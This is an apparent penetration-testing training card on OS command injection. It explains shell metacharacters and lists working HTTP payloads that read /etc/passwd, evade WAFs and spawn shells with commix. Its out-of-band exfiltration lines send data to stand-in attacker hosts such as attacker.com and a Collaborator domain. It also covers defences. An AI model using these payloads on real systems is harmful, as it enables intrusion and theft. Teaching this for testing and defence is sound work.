OS Command Injection: Shell Metacharacter Exploitation for Server-Side Command Execution
Theory
Why This Matters
OS command injection is consistently rated as a critical-severity vulnerability because successful exploitation directly yields code execution on the server operating system, bypassing all application-layer controls. CVE-2021-44228 (Log4Shell) demonstrated how command execution can cascade from a single injection point to full infrastructure compromise. Command injection appears regularly in network equipment web interfaces (routers, firewalls, NAS devices), web applications that shell out for utilities like ping, nslookup, or image conversion, and CI/CD pipelines that interpolate branch names or commit messages into shell commands.
Core Concept
OS command injection occurs when user-controlled data is passed to a system shell for execution without proper escaping or isolation. The violated invariant is that user data must never be interpreted as shell syntax. When an application constructs a shell command by string concatenation — e.g., os.system("ping -c 1 " + user_input) — an attacker can append shell metacharacters that alter the command structure.
Key shell metacharacters and their injection semantics:
- ; — command separator: execute previous command then execute injected command
- && — AND chaining: execute injected command only if previous succeeds
- || — OR chaining: execute injected command only if previous fails
- | — pipe: pass stdout of previous command as stdin of injected command
- `command` or $(command) — command substitution: execute injected command and substitute its output inline
- (newline, %0a) — some parsers treat newlines as command separators
The attacker precondition is: the application passes user input to a shell via system(), exec(), popen(), subprocess.call(shell=True), Runtime.exec(new String[]{"sh","-c",cmd}), or equivalent, and does not use argument-array APIs that bypass shell interpretation.
Blind command injection produces no visible output in the response. The three exploitation channels for blind injection are: (1) time-based (sleep 5), (2) out-of-band via DNS (using nslookup $(whoami).attacker.com) or HTTP (using curl http://attacker.com/$(id|base64)), and (3) file-write to a web-accessible path.
Out-of-band (OOB) techniques via Burp Collaborator or interactsh allow confirming blind injection against targets where the response contains no timing information and no file-write location is known.
Technical Deep-Dive
# Verbose command injection — output returned in response
# Application: GET /ping?host=8.8.8.8
# Vulnerable backend: os.system("ping -c 1 " + host)
# Basic injection with semicolon:
GET /ping?host=8.8.8.8;id
# Response body includes: uid=33(www-data) gid=33(www-data)
# Using && (execute only if ping succeeds):
GET /ping?host=8.8.8.8&&cat+/etc/passwd
# Command substitution (backtick or $() equivalent):
GET /ping?host=$(cat+/etc/passwd)
GET /ping?host=`id`
# Blind injection — time-based confirmation:
GET /ping?host=8.8.8.8;sleep+10
# If response is delayed ~10 seconds: injection confirmed
# Blind injection — OOB via DNS with Burp Collaborator:
GET /ping?host=8.8.8.8;nslookup+$(whoami).COLLABORATOR_SUBDOMAIN
# Collaborator receives DNS lookup from target server
# Blind injection — OOB via HTTP (data exfil):
GET /ping?host=8.8.8.8;curl+http://COLLABORATOR/$(id|base64+-w0)
# WAF bypass techniques
# IFS substitution (Internal Field Separator = space by default)
# Replace spaces with ${IFS} when space is blocked:
GET /ping?host=8.8.8.8;cat${IFS}/etc/passwd
# Brace expansion:
GET /ping?host=8.8.8.8;{cat,/etc/passwd}
# Encoding: URL-encode semicolon as %3b, pipe as %7c
GET /ping?host=8.8.8.8%3bwhoami
# Case manipulation (some WAFs are case-sensitive):
GET /ping?host=8.8.8.8;WhOaMi
# Windows-specific (PowerShell):
GET /ping?host=8.8.8.8&whoami # cmd.exe
GET /ping?host=8.8.8.8;(Get-Content+C:Windowswin.ini) # PowerShell
# commix automated command injection
commix --url="https://target.example.com/ping?host=INJECT_HERE"
--technique=all
--os-shell # attempt to spawn interactive shell
# For blind injection with OOB:
commix --url="https://target.example.com/ping?host=INJECT_HERE"
--technique=blind --dns-server=COLLABORATOR_HOST
Security Assessment Methodology
- Identify shell-invoking functionality — Look for features that invoke OS utilities: network diagnostics (ping, traceroute, nslookup), file conversion (convert, ffmpeg, ImageMagick), archive handling (zip, tar), or any feature mentioning a CLI tool in its description.
- Test metacharacters — Append
;id,&&id,|id,`id`,$(id)to each parameter. Check response bodies for command output (uid/gid strings, file contents). - Test blind injection via sleep — If no output: inject
;sleep 10and measure response time. Repeat with;sleep 0to confirm conditionality. - Use Burp Collaborator for OOB confirmation — Inject
;nslookup COLLABORATOR_SUBDOMAINand;curl http://COLLABORATOR/test. Monitor the Collaborator panel for incoming requests. - Test WAF bypass variants — If direct metacharacters are blocked, try
${IFS}, URL encoding, brace expansion, newline (%0a) separators, and case variation. - Run commix for automated enumeration — Use commix against confirmed and suspected injection points for comprehensive metacharacter and technique coverage.
- Attempt privilege escalation — Once RCE is confirmed, test
sudo -l, SUID binaries (find / -perm -4000), and kernel version (uname -r) to assess escalation potential.
Defensive Countermeasure — Avoid invoking shell interpreters with user data entirely. Use language-native APIs: Python
subprocess.run(['ping', '-c', '1', host], shell=False)passes arguments as a list, bypassing shell metacharacter interpretation. PHP should useescapeshellarg()on every argument andescapeshellcmd()on the command. Preferably, replace shell-out calls with native library equivalents (e.g., use a Python ICMP library instead of shelling out to ping). Implement an allowlist of valid input values where possible (e.g., IP address regex validation before any use).
Common Assessment Errors
- Only testing Linux metacharacters — Windows targets require different syntax (
&,|,%COMSPEC%). Failing to test Windows-specific payloads against IIS applications on Windows servers misses the vulnerability. - Stopping after sleep confirmation — Confirming blind injection with a sleep delay but not demonstrating data exfiltration underrepresents the impact. Use OOB DNS/HTTP to extract
whoamiand hostname as proof. - Missing argument-context injection — Injection is not always at the end of a command. User input may appear as a flag value (
-o user_input), where it may be possible to inject additional flags rather than shell metacharacters (see argument injection). - Not testing all encoding variations — A single WAF rule may block
;but not%3bor. Always test URL-encoded variants. - Assuming containerisation prevents impact — Even in Docker containers, command injection can lead to container escape via exposed Docker socket mounts or privileged container flags. Always check container context.
- Forgetting Windows PowerShell — In environments where PowerShell is the default shell,
Get-Content,Invoke-Expression, and PowerShell download cradles are available through|and;separators.
NICE Framework Alignment
| Code | Knowledge/Skill/Task Statement | How This Card Develops It |
|---|---|---|
| K0009 | Knowledge of application vulnerabilities | Builds precise understanding of shell metacharacter semantics and the application patterns that enable command injection |
| K0070 | Knowledge of system and application security threats and vulnerabilities | Covers both Linux and Windows command injection contexts and WAF bypass techniques |
| S0001 | Skill in conducting vulnerability scans | Trains commix usage and systematic metacharacter testing methodology |
| S0044 | Skill in mimicking threat behaviors | Develops OOB exfiltration and WAF bypass techniques used by real adversaries |
| T0028 | Test system security controls | Covers testing of shell-invoking functionality and subprocess API usage |
| T0591 | Perform penetration testing | Provides complete command injection methodology from discovery through privilege escalation scoping |
Further Reading
- OS Command Injection — PortSwigger Web Security Academy
- OWASP Testing Guide v4.2: Testing for Command Injection (OTG-INPVAL-013) — OWASP Foundation
- commix Documentation and Injection Techniques — Anastasios Stasinopoulos, GitHub
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.